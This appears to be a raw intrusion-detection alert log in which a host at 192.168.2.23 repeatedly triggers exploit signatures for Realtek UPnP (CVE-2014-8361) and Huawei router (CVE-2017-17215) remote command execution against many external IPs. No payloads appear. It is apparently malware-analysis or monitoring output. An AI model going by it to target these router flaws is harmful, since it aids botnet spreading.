07/20/24-23:01:08.684499	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45804	52869	192.168.2.23	186.40.176.32
07/20/24-23:01:20.181938	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33388	37215	192.168.2.23	197.10.70.203
07/20/24-23:01:52.742499	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58056	52869	192.168.2.23	217.180.101.231
07/20/24-23:01:24.867858	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42160	37215	192.168.2.23	197.19.178.39
07/20/24-23:01:02.380657	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47818	52869	192.168.2.23	120.187.5.172
07/20/24-23:01:24.715800	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55868	52869	192.168.2.23	188.173.105.15
07/20/24-23:01:34.048825	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46924	37215	192.168.2.23	197.123.40.207
07/20/24-23:01:20.144672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35020	37215	192.168.2.23	197.1.124.246
07/20/24-23:01:57.787786	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38406	52869	192.168.2.23	60.14.147.228
07/20/24-23:01:04.118165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55284	37215	192.168.2.23	41.73.64.241
07/20/24-23:01:31.978141	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55614	37215	192.168.2.23	41.217.46.13
07/20/24-23:01:34.075219	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41722	37215	192.168.2.23	197.145.148.31
07/20/24-23:01:42.142802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58582	52869	192.168.2.23	1.132.71.9
07/20/24-23:01:44.660927	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46228	52869	192.168.2.23	165.194.139.225
07/20/24-23:01:02.076414	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54716	37215	192.168.2.23	177.172.21.105
07/20/24-23:01:44.779503	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45168	52869	192.168.2.23	147.163.143.195
07/20/24-23:01:55.154049	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58122	52869	192.168.2.23	69.193.122.132
07/20/24-23:01:59.030101	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50420	52869	192.168.2.23	118.229.228.64
07/20/24-23:01:21.936545	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56194	37215	192.168.2.23	216.138.36.57
07/20/24-23:01:49.034246	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43210	52869	192.168.2.23	112.175.144.226
07/20/24-23:01:44.922746	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36258	52869	192.168.2.23	187.34.215.18
07/20/24-23:01:01.432181	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42150	52869	192.168.2.23	161.98.32.121
07/20/24-23:01:08.571946	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43646	52869	192.168.2.23	9.190.28.75
07/20/24-23:01:31.991548	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57218	37215	192.168.2.23	197.42.75.0
07/20/24-23:01:41.930505	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39212	52869	192.168.2.23	160.67.56.20
07/20/24-23:01:58.999794	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39764	52869	192.168.2.23	154.194.235.253
07/20/24-23:01:04.082384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57400	37215	192.168.2.23	41.185.218.214
07/20/24-23:01:07.033766	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55630	37215	192.168.2.23	116.187.119.26
07/20/24-23:01:41.205247	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43106	52869	192.168.2.23	104.24.229.93
07/20/24-23:01:08.594120	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60104	52869	192.168.2.23	13.112.9.246
07/20/24-23:01:01.875100	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40704	52869	192.168.2.23	87.1.160.57
07/20/24-23:01:42.677933	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48580	52869	192.168.2.23	2.228.92.40
07/20/24-23:00:57.221220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47794	37215	192.168.2.23	41.166.85.150
07/20/24-23:01:02.059312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54922	37215	192.168.2.23	202.106.145.234
07/20/24-23:00:59.163619	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56186	37215	192.168.2.23	157.159.217.82
07/20/24-23:02:10.113046	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47232	52869	192.168.2.23	49.65.211.106
07/20/24-23:01:43.903732	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59476	52869	192.168.2.23	50.123.92.219
07/20/24-23:01:04.040812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48558	37215	192.168.2.23	158.105.50.58
07/20/24-23:01:42.953491	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35740	52869	192.168.2.23	57.248.72.169
07/20/24-23:00:59.194576	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37398	37215	192.168.2.23	77.13.19.125
07/20/24-23:01:48.036012	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46612	52869	192.168.2.23	45.226.155.34
07/20/24-23:01:34.077334	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58572	37215	192.168.2.23	197.233.42.243
07/20/24-23:01:43.044693	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53134	52869	192.168.2.23	159.4.8.31
07/20/24-23:01:43.260197	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37826	52869	192.168.2.23	207.203.170.191
07/20/24-23:01:43.239928	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46322	52869	192.168.2.23	57.189.118.114
07/20/24-23:01:46.293475	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45978	52869	192.168.2.23	223.217.31.58
07/20/24-23:01:20.592206	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34858	52869	192.168.2.23	85.161.3.79
07/20/24-23:01:02.102095	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59822	52869	192.168.2.23	193.135.58.157
07/20/24-23:01:11.631134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33872	37215	192.168.2.23	41.120.225.224
07/20/24-23:01:24.885849	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55320	37215	192.168.2.23	197.227.84.26
07/20/24-23:01:47.193367	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34414	52869	192.168.2.23	64.212.158.191
07/20/24-23:01:26.000956	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39884	52869	192.168.2.23	201.230.67.6
07/20/24-23:01:43.697010	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45262	52869	192.168.2.23	111.193.202.8
07/20/24-23:01:10.856294	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42986	52869	192.168.2.23	2.221.152.25
07/20/24-23:01:34.048825	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40652	37215	192.168.2.23	157.46.74.240
07/20/24-23:01:42.276860	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34986	52869	192.168.2.23	70.124.249.51
07/20/24-23:01:11.634372	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59606	37215	192.168.2.23	41.69.22.214
07/20/24-23:01:42.650744	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56526	52869	192.168.2.23	171.216.201.201
07/20/24-23:01:08.559315	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44538	52869	192.168.2.23	161.98.32.121
07/20/24-23:01:42.178390	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42248	52869	192.168.2.23	51.186.28.39
07/20/24-23:01:43.203681	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42714	52869	192.168.2.23	207.223.163.108
07/20/24-23:02:01.391563	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52480	52869	192.168.2.23	53.205.5.201
07/20/24-23:01:02.070492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60312	37215	192.168.2.23	157.44.1.200
07/20/24-23:01:20.110861	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44180	37215	192.168.2.23	157.8.216.67
07/20/24-23:01:47.805449	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60586	52869	192.168.2.23	88.49.181.78
07/20/24-23:01:08.582150	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50248	52869	192.168.2.23	120.187.5.172
07/20/24-23:00:57.221248	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38000	37215	192.168.2.23	41.143.61.103
07/20/24-23:01:27.664887	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51748	37215	192.168.2.23	135.203.61.14
07/20/24-23:01:59.593869	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59884	52869	192.168.2.23	163.245.29.116
07/20/24-23:01:25.020591	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58950	52869	192.168.2.23	174.51.233.233
07/20/24-23:01:31.976795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50596	37215	192.168.2.23	41.129.34.41
07/20/24-23:01:42.643745	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53574	52869	192.168.2.23	219.68.37.27
07/20/24-23:01:42.912947	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34838	52869	192.168.2.23	17.17.223.92
07/20/24-23:01:48.080190	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37272	52869	192.168.2.23	124.255.77.181
07/20/24-23:01:04.100971	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39850	37215	192.168.2.23	157.132.15.197
07/20/24-23:01:04.058922	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45678	37215	192.168.2.23	157.157.232.183
07/20/24-23:01:31.312311	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42756	52869	192.168.2.23	144.247.247.76
07/20/24-23:01:43.957856	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49062	52869	192.168.2.23	12.82.126.36
07/20/24-23:01:56.536207	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50732	52869	192.168.2.23	209.219.111.180
07/20/24-23:01:40.290003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59616	37215	192.168.2.23	161.85.99.11
07/20/24-23:01:08.626717	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33640	52869	192.168.2.23	57.179.102.199
07/20/24-23:01:42.761962	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48840	52869	192.168.2.23	205.59.131.231
07/20/24-23:01:47.921416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45906	52869	192.168.2.23	103.0.203.61
07/20/24-23:01:08.655109	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34348	52869	192.168.2.23	57.92.179.211
07/20/24-23:01:40.307219	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37866	37215	192.168.2.23	90.71.230.151
07/20/24-23:01:44.277250	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45600	52869	192.168.2.23	99.220.126.213
07/20/24-23:02:10.589521	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40326	52869	192.168.2.23	82.227.232.160
07/20/24-23:01:27.651332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52286	37215	192.168.2.23	197.146.181.144
07/20/24-23:01:43.946380	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50156	52869	192.168.2.23	114.188.204.238
07/20/24-23:01:44.963815	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42802	52869	192.168.2.23	203.128.56.168
07/20/24-23:01:47.858878	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55910	52869	192.168.2.23	179.57.28.204
07/20/24-23:01:03.107449	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55444	52869	192.168.2.23	183.49.28.217
07/20/24-23:01:24.889164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49292	37215	192.168.2.23	157.59.34.22
07/20/24-23:01:21.951975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44260	37215	192.168.2.23	197.168.17.251
07/20/24-23:01:54.859884	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49438	52869	192.168.2.23	120.82.97.31
07/20/24-23:01:44.389834	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54532	52869	192.168.2.23	23.3.191.75
07/20/24-23:01:42.287237	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44008	52869	192.168.2.23	32.178.44.200
07/20/24-23:01:52.976222	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49862	52869	192.168.2.23	87.107.52.197
07/20/24-23:00:59.204975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49836	37215	192.168.2.23	197.55.44.167
07/20/24-23:01:08.588009	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59924	52869	192.168.2.23	104.178.230.186
07/20/24-23:01:41.205247	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48560	52869	192.168.2.23	164.43.137.199
07/20/24-23:01:14.100332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52630	37215	192.168.2.23	89.245.53.30
07/20/24-23:01:13.976791	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57122	52869	192.168.2.23	136.56.196.147
07/20/24-23:02:09.237639	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56754	52869	192.168.2.23	150.220.0.209
07/20/24-23:01:11.634077	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43372	37215	192.168.2.23	150.154.154.148
07/20/24-23:01:41.217142	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33120	52869	192.168.2.23	1.26.245.187
07/20/24-23:02:08.319876	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45580	52869	192.168.2.23	72.122.103.48
07/20/24-23:01:41.260371	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47304	52869	192.168.2.23	75.161.254.133
07/20/24-23:01:08.575986	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59784	52869	192.168.2.23	70.59.242.166
07/20/24-23:01:43.030153	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40604	52869	192.168.2.23	101.157.175.20
07/20/24-23:02:17.269055	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51420	52869	192.168.2.23	91.117.171.160
07/20/24-23:01:11.634077	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37082	37215	192.168.2.23	41.36.118.151
07/20/24-23:01:24.832675	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59242	52869	192.168.2.23	24.104.161.240
07/20/24-23:01:11.817297	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60858	37215	192.168.2.23	41.198.81.15
07/20/24-23:01:31.975513	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45194	37215	192.168.2.23	157.217.25.84
07/20/24-23:01:42.304767	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33306	52869	192.168.2.23	153.201.149.50
07/20/24-23:01:58.961047	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55118	52869	192.168.2.23	161.100.49.199
07/20/24-23:01:43.190670	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51900	52869	192.168.2.23	17.241.55.92
07/20/24-23:01:08.611391	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38826	52869	192.168.2.23	161.20.12.87
07/20/24-23:01:54.545885	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59122	52869	192.168.2.23	41.28.215.223
07/20/24-23:01:00.634292	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38768	37215	192.168.2.23	64.62.112.142
07/20/24-23:01:44.415588	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53256	52869	192.168.2.23	133.125.214.226
07/20/24-23:01:44.624686	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45650	52869	192.168.2.23	180.49.147.96
07/20/24-23:01:47.700893	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55240	52869	192.168.2.23	216.145.37.57
07/20/24-23:01:43.210798	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46472	52869	192.168.2.23	173.144.227.253
07/20/24-23:01:27.725851	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59222	37215	192.168.2.23	197.46.153.191
07/20/24-23:02:07.984371	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42256	52869	192.168.2.23	67.242.12.13
07/20/24-23:01:42.555718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35216	52869	192.168.2.23	165.210.119.115
07/20/24-23:01:45.165718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33260	52869	192.168.2.23	125.137.245.127
07/20/24-23:01:20.181938	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35458	37215	192.168.2.23	23.105.53.195
07/20/24-23:01:01.143446	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52638	52869	192.168.2.23	164.189.55.135
07/20/24-23:01:42.962388	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36968	52869	192.168.2.23	199.44.188.95
07/20/24-23:00:59.203960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39668	37215	192.168.2.23	157.53.103.29
07/20/24-23:01:00.641498	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53410	37215	192.168.2.23	19.199.208.241
07/20/24-23:01:04.114673	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48702	37215	192.168.2.23	41.9.233.106
07/20/24-23:01:40.343151	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58374	37215	192.168.2.23	157.145.121.60
07/20/24-23:02:17.128772	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41086	52869	192.168.2.23	184.199.50.191
07/20/24-23:01:42.111275	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48622	52869	192.168.2.23	159.247.88.93
07/20/24-23:01:45.144955	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57898	52869	192.168.2.23	154.117.210.216
07/20/24-23:01:46.109136	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59800	52869	192.168.2.23	111.211.116.144
07/20/24-23:02:02.772130	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59538	52869	192.168.2.23	189.55.165.96
07/20/24-23:02:11.592030	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45658	52869	192.168.2.23	68.53.164.7
07/20/24-23:00:57.221504	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46632	37215	192.168.2.23	197.17.13.46
07/20/24-23:01:42.090121	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43510	52869	192.168.2.23	85.101.71.143
07/20/24-23:01:07.021159	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60526	37215	192.168.2.23	41.63.85.196
07/20/24-23:01:08.562013	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44914	52869	192.168.2.23	155.42.58.223
07/20/24-23:01:32.076593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38906	37215	192.168.2.23	157.204.232.233
07/20/24-23:01:41.303669	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52976	52869	192.168.2.23	193.229.91.171
07/20/24-23:01:41.660997	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39540	52869	192.168.2.23	124.109.117.107
07/20/24-23:01:53.308763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53860	52869	192.168.2.23	81.50.220.234
07/20/24-23:01:45.547334	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59954	52869	192.168.2.23	23.210.80.134
07/20/24-23:01:49.469876	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49768	52869	192.168.2.23	116.148.59.65
07/20/24-23:01:44.099799	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39852	52869	192.168.2.23	139.85.109.63
07/20/24-23:00:59.172943	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43118	37215	192.168.2.23	197.65.44.128
07/20/24-23:01:40.355589	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57784	37215	192.168.2.23	197.66.63.246
07/20/24-23:01:44.795218	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55440	52869	192.168.2.23	36.130.15.144
07/20/24-23:00:57.221550	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41818	37215	192.168.2.23	207.93.222.13
07/20/24-23:01:41.478928	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36668	52869	192.168.2.23	113.184.252.189
07/20/24-23:01:08.578727	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48380	52869	192.168.2.23	122.204.212.245
07/20/24-23:01:08.589760	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39636	52869	192.168.2.23	18.37.139.58
07/20/24-23:01:44.452219	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50638	52869	192.168.2.23	153.197.27.100
07/20/24-23:01:31.975158	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37716	37215	192.168.2.23	197.229.171.249
07/20/24-23:01:44.756264	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49132	52869	192.168.2.23	75.52.105.57
07/20/24-23:02:06.393178	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37356	52869	192.168.2.23	169.213.252.233
07/20/24-23:01:41.165469	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48418	52869	192.168.2.23	73.113.35.189
07/20/24-23:02:14.945129	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49536	52869	192.168.2.23	63.25.37.64
07/20/24-23:00:59.157444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37038	37215	192.168.2.23	107.136.23.140
07/20/24-23:01:43.843278	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40052	52869	192.168.2.23	159.183.134.67
07/20/24-23:01:31.322110	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46982	52869	192.168.2.23	123.145.45.176
07/20/24-23:01:46.783122	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42202	52869	192.168.2.23	164.23.204.131
